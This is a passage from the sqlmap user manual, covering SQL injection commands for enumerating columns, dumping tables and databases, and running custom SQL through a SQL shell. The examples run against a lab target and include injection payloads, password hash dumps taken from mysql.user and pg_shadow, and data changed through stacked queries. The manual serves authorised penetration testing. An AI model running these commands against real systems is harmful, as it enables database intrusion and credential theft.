<bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --columns \ -T users -D public -v 0 Database: public Table: users [3 columns] +---------+--------+ | Column | Type | +---------+--------+ | id | int4 | | name | bpchar | | surname | bpchar | +---------+--------+ </verb></tscreen> Note that on PostgreSQL you have to provide <tt>public</tt> or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always <tt>public</tt>. If the database name is not specified, the current database name is used. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --columns \ -T users -v 1 [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current database to enumerate table 'users' columns [hh:mm:45] [INFO] fetching current database [hh:mm:45] [INFO] retrieved: testdb [hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb' [hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb' [hh:mm:45] [INFO] retrieved: 3 [hh:mm:45] [INFO] retrieved: id [hh:mm:45] [INFO] retrieved: int(11) [hh:mm:46] [INFO] retrieved: name [hh:mm:46] [INFO] retrieved: varchar(500) [hh:mm:46] [INFO] retrieved: surname [hh:mm:46] [INFO] retrieved: varchar(1000) Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ </verb></tscreen> You can also provide the <tt>-C</tt> option to specify the table columns name like the one you provided to be enumerated. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --columns \ -T users -C name -v 1 [...] [hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current database to enumerate table 'users' columns [hh:mm:20] [INFO] fetching current database [hh:mm:20] [INFO] retrieved: testdb [hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb' [hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb' [hh:mm:20] [INFO] retrieved: 2 [hh:mm:20] [INFO] retrieved: name [hh:mm:20] [INFO] retrieved: varchar(500) [hh:mm:21] [INFO] retrieved: surname [hh:mm:21] [INFO] retrieved: varchar(1000) Database: testdb Table: users [2 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ </verb></tscreen> <sect2>Dump database table entries Switches: <tt>-</tt><tt>-dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>, <tt>-</tt><tt>-start</tt>, <tt>-</tt><tt>-stop</tt>, <tt>-</tt><tt>-first</tt> and <tt>-</tt><tt>-last</tt> It is possible to dump table entries. This functionality depends on the option <tt>-T</tt> to specify the table name or on the option <tt>-C</tt> to specify the column name and, optionally on <tt>-D</tt> to specify the database name. If the table name is specified, but the database name is not, the current database name is used. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --dump \ -T users -v 1 [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'users' entries [hh:mm:41] [INFO] fetching current database [hh:mm:41] [INFO] retrieved: testdb [hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb' [hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb' [hh:mm:41] [INFO] retrieved: 3 [hh:mm:41] [INFO] retrieved: id [hh:mm:41] [INFO] retrieved: name [hh:mm:41] [INFO] retrieved: surname [hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb' [hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb' [hh:mm:41] [INFO] retrieved: 4 [hh:mm:41] [INFO] retrieved: 1 [hh:mm:42] [INFO] retrieved: luther [hh:mm:42] [INFO] retrieved: blissett [hh:mm:42] [INFO] retrieved: 2 [hh:mm:42] [INFO] retrieved: fluffy [hh:mm:42] [INFO] retrieved: bunny [hh:mm:42] [INFO] retrieved: 3 [hh:mm:42] [INFO] retrieved: wu [hh:mm:42] [INFO] retrieved: ming [hh:mm:43] [INFO] retrieved: 4 [hh:mm:43] [INFO] retrieved: [hh:mm:43] [INFO] retrieved: nameisnull Database: testdb Table: users [4 entries] +----+--------+------------+ | id | name | surname | +----+--------+------------+ | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+ </verb></tscreen> You can also provide the <tt>-C</tt> option to specify the table column that you want to enumerate the entries. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --dump \ -T users -D master -C surname -v 0 Database: master Table: users [5 entries] +-------------------+ | surname | +-------------------+ | blisset | | bunny | | ming | | nameisnull | | user agent header | +-------------------+ </verb></tscreen> If only the column name is specified, sqlmap will enumerate and ask the user to dump all databases' tables containing user provided column(s). This feature can be useful to identify, for instance, tables containing custom application credentials. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \ -C "urna" [...] back-end DBMS: MySQL >= 5.0.0 do you want sqlmap to consider provided column(s): [1] as LIKE column names (default) [2] as exact column names > 1 [hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna' [hh:mm:08] [INFO] fetching number of databases with tables containing columns like 'urna' [hh:mm:08] [INFO] retrieved: 1 [hh:mm:08] [INFO] retrieved: testdb [hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb' [hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in database 'testdb' [hh:mm:10] [INFO] retrieved: 1 [hh:mm:10] [INFO] retrieved: users [hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb' [hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb' [hh:mm:10] [INFO] retrieved: 1 [hh:mm:10] [INFO] retrieved: surname Columns like 'urna' were found in the following databases: Database: testdb Table: users [1 column] +---------+ | Column | +---------+ | surname | +---------+ do you want to dump entries? [Y/n] y which database(s)? [a]ll (default) [testdb] [q]uit > which table(s) of database 'testdb'? [a]ll (default) [users] [s]kip [q]uit > [hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on database 'testdb' [hh:mm:23] [INFO] fetching number of columns 'surname' entries for table 'users' on database 'testdb' [hh:mm:23] [INFO] retrieved: 4 [hh:mm:23] [INFO] retrieved: blissett [hh:mm:23] [INFO] retrieved: bunny [hh:mm:23] [INFO] retrieved: ming [hh:mm:23] [INFO] retrieved: nameisnull Database: testdb Table: users [4 entries] +------------+ | surname | +------------+ | blissett | | bunny | | ming | | nameisnull | +------------+ </verb></tscreen> sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where sqlmap stores the dumped tables entries by providing a verbosity level greater than or equal to 1. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --dump \ -T users -D public -v 1 [...] Database: public Table: users [5 entries] +----+----------------------------------------------+-------------------+ | id | name | surname | +----+----------------------------------------------+-------------------+ | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | | 5 | | nameisnull | +----+----------------------------------------------+-------------------+ [hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/ 192.168.136.131/dump/public/users.csv' [...] $ cat ./output/192.168.136.131/dump/public/users.csv id,name,surname "1","luther","blissett" "2","fluffy","bunny" "3","wu","ming" "4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header" "5","","nameisnull" </verb></tscreen> You can also provide the <tt>-</tt><tt>-start</tt> and/or the <tt>-</tt><tt>-stop</tt> options to limit the dump to a range of entries, while those entries can be further limited to a range of character positions provided with <tt>-</tt><tt>-first</tt> and/or the <tt>-</tt><tt>-last</tt> options: <itemize> <item><tt>-</tt><tt>-start</tt> specifies the first entry to enumerate. <item><tt>-</tt><tt>-stop</tt> specifies the last entry to enumerate. </itemize> Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --dump \ -T users -D testdb --start 2 --stop 4 -v 0 Database: testdb Table: users [3 entries] +----+--------------------------------------------+-------------------+ | id | name | surname | +----+--------------------------------------------+-------------------+ | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | +----+--------------------------------------------+-------------------+ </verb></tscreen> As you can see, sqlmap is very flexible. You can leave it to automatically enumerate the whole database table up to a range of characters of a single column of a specific table entry. <sect2>Dump all databases tables entries Switches: <tt>-</tt><tt>-dump-all</tt> and <tt>-</tt><tt>-exclude-sysdbs</tt> It is possible to dump all databases tables entries at once. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0 Database: testdb Table: users [5 entries] +----+--------------------------------------------+-------------------+ | id | name | surname | +----+--------------------------------------------+-------------------+ | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+--------------------------------------------+-------------------+ Database: information_schema Table: CHARACTER_SETS [36 entries] +--------------------+----------------------+-----------------------------+--------+ | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN | +--------------------+----------------------+-----------------------------+--------+ | tis620 | tis620_thai_ci | TIS620 Thai | 1 | | macroman | macroman_general_ci | Mac West European | 1 | | dec8 | dec8_swedish_ci | DEC West European | 1 | | ujis | ujis_japanese_ci | EUC-JP Japanese | 3 | | eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 | | armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 | | ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 | | hp8 | hp8_english_ci | HP West European | 1 | | latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 | | koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 | | keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 | | ascii | ascii_general_ci | US ASCII | 1 | | cp866 | cp866_general_ci | DOS Russian | 1 | | cp1256 | cp1256_general_ci | Windows Arabic | 1 | | macce | macce_general_ci | Mac Central European | 1 | | sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 | | geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 | | cp1257 | cp1257_general_ci | Windows Baltic | 1 | | cp852 | cp852_general_ci | DOS Central European | 1 | | euckr | euckr_korean_ci | EUC-KR Korean | 2 | | cp1250 | cp1250_general_ci | Windows Central European | 1 | | cp1251 | cp1251_general_ci | Windows Cyrillic | 1 | | binary | binary | Binary pseudo charset | 1 | | big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 | | gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 | | hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 | | koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 | | greek | greek_general_ci | ISO 8859-7 Greek | 1 | | cp850 | cp850_general_ci | DOS West European | 1 | | utf8 | utf8_general_ci | UTF-8 Unicode | 3 | | latin1 | latin1_swedish_ci | cp1252 West European | 1 | | latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 | | cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 | | latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 | | swe7 | swe7_swedish_ci | 7bit Swedish | 1 | | gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 | +--------------------+----------------------+-----------------------------+--------+ [...] </verb></tscreen> You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> option to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables. Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --dump-all \ --exclude-sysdbs -v 0 Database: master Table: spt_datatype_info_ext [10 entries] +----------------+-----------------+-----------+-----------+ | AUTO_INCREMENT | CREATE_PARAMS | typename | user_type | +----------------+-----------------+-----------+-----------+ | 0 | length | char | 175 | | 0 | precision,scale | numeric | 108 | | 0 | max length | varbinary | 165 | | 0 | precision,scale | decimal | 106 | | 1 | precision | numeric | 108 | | 0 | length | nchar | 239 | | 0 | max length | nvarchar | 231 | | 0 | length | binary | 173 | | 0 | max length | varchar | 167 | | 1 | precision | decimal | 106 | +----------------+-----------------+-----------+-----------+ [...] Database: master Table: users [5 entries] +----+----------------------------------------------+-------------------+ | id | name | surname | +----+----------------------------------------------+-------------------+ | 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | | 2 | fluffy | bunny | | 1 | luther | blisset | | 3 | wu | ming | | 5 | NULL | nameisnull | +----+----------------------------------------------+-------------------+ [...] </verb></tscreen> Note that on Microsoft SQL Server the <tt>master</tt> database is not considered a system database because some database administrators use it as a users' database. <sect2>Execute custom SQL statement Switches: <tt>-</tt><tt>-sql-query</tt> and <tt>-</tt><tt>-sql-shell</tt> The SQL query and the SQL shell features makes the user able to execute custom SQL statements on the web application's back-end database management. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly. If it is a <tt>SELECT</tt> statement, sqlmap will retrieve its output through the blind SQL injection or UNION query SQL injection technique depending on the user's options. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Examples on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar': 'foo, bar' </verb></tscreen> As you can see from the last example, sqlmap splits provided query into two different <tt>SELECT</tt> statements for it to be able to retrieve the output even in case when using the blind SQL injection technique. Otherwise, in UNION query SQL injection technique it only performs a single HTTP request to get the user's query output: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 2 --union-use [...] [hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing technique [hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id' [hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability [hh:mm:03] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+ CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) +(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+ CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+ CHAR(116)), NULL-- AND 8373=8373 [hh:mm:03] [DEBUG] performed 3 queries in 0 seconds SELECT 'foo', 'bar' [1]: [*] foo, bar </verb></tscreen> If your <tt>SELECT</tt> statement contains a <tt>FROM</tt> clause, sqlmap asks the user if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to retrieve its whole output, entry per entry, when going through blind SQL injection technique. In provided example, UNION query SQL injection it retrieved the whole output in a single response. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \ "SELECT usename FROM pg_user" -v 0 [hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y [hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit Choice: 2 SELECT usename FROM pg_user [2]: [*] postgres [*] testuser </verb></tscreen> As you can see from the last example, sqlmap counts the number of entries for a given query and asks for number of entries to dump. Otherwise, if the <tt>LIMIT</tt> is also specified, or similar clause, sqlmap will not ask for anything. It will just unpack the query and return its output, entry per entry, when going through blind SQL injection technique. In a given example, sqlmap used UNION query SQL injection to retrieve the whole output in a single response. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --sql-query \ "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2 [...] back-end DBMS: MySQL >= 5.0.0 [hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM mysql.user LIMIT 1, 3' [hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user LIMIT 1, 1 [hh:mm:22] [INFO] retrieved: localhost [hh:mm:22] [DEBUG] performed 69 queries in 0 seconds [hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user LIMIT 1, 1 [hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 [hh:mm:24] [DEBUG] performed 293 queries in 2 seconds [hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user LIMIT 2, 1 [hh:mm:24] [INFO] retrieved: localhost [hh:mm:25] [DEBUG] performed 69 queries in 0 seconds [hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user LIMIT 2, 1 [hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 [hh:mm:27] [DEBUG] performed 293 queries in 2 seconds [hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user LIMIT 3, 1 [hh:mm:27] [INFO] retrieved: localhost [hh:mm:28] [DEBUG] performed 69 queries in 0 seconds [hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user LIMIT 3, 1 [hh:mm:28] [INFO] retrieved: [hh:mm:28] [DEBUG] performed 6 queries in 0 seconds SELECT host, password FROM mysql.user LIMIT 1, 3 [3]: [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 [*] localhost, </verb></tscreen> The SQL shell option gives you an access to run your own SQL statement interactively, like a SQL console connected to the back-end database management system. Note that this feature provides TAB completion and history support. Example of history support on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> SELECT 'foo' SELECT 'foo': 'foo' sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell] sql> SELECT version() SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2' sql> exit $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename [hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y [hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit Choice: 2 SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: [*] postgres, md5d7d880f96044b72d0bba108ace96d1e4 [*] testuser, md599e5ea7a6f7c3269995cba3927fd0093 </verb></tscreen> Example of TAB completion on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0 sql> [TAB TAB] LIMIT (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y' AND ORD(MID((%s), %d, 1)) > %d CAST(%s AS CHAR(10000)) COUNT(%s) CURRENT_USER() DATABASE() IFNULL(%s, ' ') LENGTH(%s) LIMIT %d, %d MID((%s), %d, %d) ORDER BY %s ASC SELECT %s FROM %s.%s SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' SELECT grantee FROM information_schema.USER_PRIVILEGES SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES SELECT schema_name FROM information_schema.SCHEMATA SELECT table_schema, table_name FROM information_schema.TABLES SELECT user, password FROM mysql.user SLEEP(%d) VERSION() \s+LIMIT\s+([\d]+)\s*\,\s*([\d]+) sql> SE[TAB] sql> SELECT </verb></tscreen> As you can see the TAB functionality shows the queries defined for the back-end database management system in sqlmap XML queries file, but you can run whatever <tt>SELECT</tt> statement you want. Example of asterisk expansion on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \ -v 2 [...] [hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql> SELECT * FROM test.users [hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' [hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself. [hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' [hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' [hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) [hh:mm:48] [INFO] retrieved: 3 [hh:mm:48] [DEBUG] performed 13 queries in 0 seconds [hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) LIMIT 0, 1 [hh:mm:48] [INFO] retrieved: id [hh:mm:48] [DEBUG] performed 20 queries in 0 seconds [hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) LIMIT 1, 1 [hh:mm:48] [INFO] retrieved: name [hh:mm:48] [DEBUG] performed 34 queries in 0 seconds [hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) LIMIT 2, 1 [hh:mm:48] [INFO] retrieved: surname [hh:mm:48] [DEBUG] performed 55 queries in 0 seconds [hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users [hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y [hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users [hh:mm:04] [INFO] retrieved: 5 [hh:mm:04] [DEBUG] performed 13 queries in 0 seconds [hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit Choice: 3 [hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 0, 1 [hh:mm:09] [INFO] retrieved: 1 [hh:mm:09] [DEBUG] performed 13 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 0, 1 [hh:mm:09] [INFO] retrieved: luther [hh:mm:09] [DEBUG] performed 48 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 0, 1 [hh:mm:09] [INFO] retrieved: blissett [hh:mm:09] [DEBUG] performed 62 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 1, 1 [hh:mm:09] [INFO] retrieved: 2 [hh:mm:09] [DEBUG] performed 13 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 1, 1 [hh:mm:09] [INFO] retrieved: fluffy [hh:mm:09] [DEBUG] performed 48 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 1, 1 [hh:mm:09] [INFO] retrieved: bunny [hh:mm:09] [DEBUG] performed 41 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 2, 1 [hh:mm:09] [INFO] retrieved: 3 [hh:mm:09] [DEBUG] performed 13 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 2, 1 [hh:mm:09] [INFO] retrieved: wu [hh:mm:09] [DEBUG] performed 20 queries in 0 seconds [hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users ORDER BY id ASC LIMIT 2, 1 [hh:mm:09] [INFO] retrieved: ming [hh:mm:10] [DEBUG] performed 34 queries in 0 seconds SELECT * FROM test.users [3]: [*] 1, luther, blissett [*] 2, fluffy, bunny [*] 3, wu, ming </verb></tscreen> As you can see from the example, if the <tt>SELECT</tt> statement has an asterisk instead of the column(s) name, sqlmap first retrieves all column names of the current table, asks if the query can return multiple entries and goes on. Example of SQL statement other than <tt>SELECT</tt> on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1 [...] back-end DBMS: PostgreSQL [10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER sql> SELECT COUNT(name) FROM users [hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users' [hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n [hh:mm:59] [INFO] retrieved: 4 SELECT COUNT(name) FROM users: '4' sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell'); [hh:mm:35] [INFO] testing stacked queries support on parameter 'id' [hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');' [hh:mm:40] [INFO] done sql> SELECT COUNT(name) FROM users [hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users' [hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n [hh:mm:53] [INFO] retrieved: 5 SELECT COUNT(name) FROM users: '5' </verb></tscreen> As you can see from the example, when the user provides a SQL statement other than <tt>SELECT</tt>, sqlmap recognizes it, tests if the web application supports stacked queries and in case it does, it executes the provided SQL statement in a multiple statement mode. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL. <sect1>User-defined function injection <sect2>Inject custom user-defined functions (UDF) Switches: <tt>-</tt><tt>-udf-inject</tt> and <tt>-</tt><tt>-shared-lib</tt> You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with 